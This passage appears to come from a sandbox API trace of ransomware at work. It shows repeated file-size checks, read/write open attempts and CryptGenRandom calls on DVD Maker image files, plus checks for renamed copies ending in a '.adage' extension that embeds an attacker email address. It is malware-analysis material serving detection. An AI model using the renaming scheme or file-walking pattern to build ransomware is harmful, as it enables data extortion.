returned 1 [0057.733] CloseHandle (hObject=0x1a8) returned 1 [0057.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png")) returned 0x20 [0057.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.733] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.734] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3130) returned 1 [0057.734] CloseHandle (hObject=0x1a8) returned 1 [0057.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0057.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.735] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.736] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5025) returned 1 [0057.736] CloseHandle (hObject=0x1a8) returned 1 [0057.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png")) returned 0x20 [0057.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.737] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0057.967] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4955) returned 1 [0057.967] CloseHandle (hObject=0x180) returned 1 [0057.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png")) returned 0x20 [0057.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.968] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.079] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2820) returned 1 [0058.079] CloseHandle (hObject=0x180) returned 1 [0058.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png")) returned 0x20 [0058.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.080] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.081] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5025) returned 1 [0058.081] CloseHandle (hObject=0x180) returned 1 [0058.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png")) returned 0x20 [0058.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.081] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.082] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3118) returned 1 [0058.082] CloseHandle (hObject=0x180) returned 1 [0058.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png")) returned 0x20 [0058.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.082] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.083] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4955) returned 1 [0058.083] CloseHandle (hObject=0x180) returned 1 [0058.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png")) returned 0x20 [0058.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.083] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.084] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3081) returned 1 [0058.084] CloseHandle (hObject=0x180) returned 1 [0058.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png")) returned 0x20 [0058.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.085] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.086] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=45199) returned 1 [0058.086] CloseHandle (hObject=0x180) returned 1 [0058.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png")) returned 0x20 [0058.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.087] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.087] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3122) returned 1 [0058.087] CloseHandle (hObject=0x180) returned 1 [0058.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png")) returned 0x20 [0058.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.087] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.088] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1400) returned 1 [0058.088] CloseHandle (hObject=0x180) returned 1 [0058.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png")) returned 0x20 [0058.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.088] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.088] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=35858) returned 1 [0058.088] CloseHandle (hObject=0x180) returned 1 [0058.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png")) returned 0x20 [0058.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.090] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.094] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=194963) returned 1 [0058.094] CloseHandle (hObject=0x180) returned 1 [0058.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png")) returned 0x20 [0058.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.095] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.095] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=10888) returned 1 [0058.095] CloseHandle (hObject=0x180) returned 1 [0058.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png")) returned 0x20 [0058.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.096] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.096] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=10254) returned 1 [0058.096] CloseHandle (hObject=0x180) returned 1 [0058.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png")) returned 0x20 [0058.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.096] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 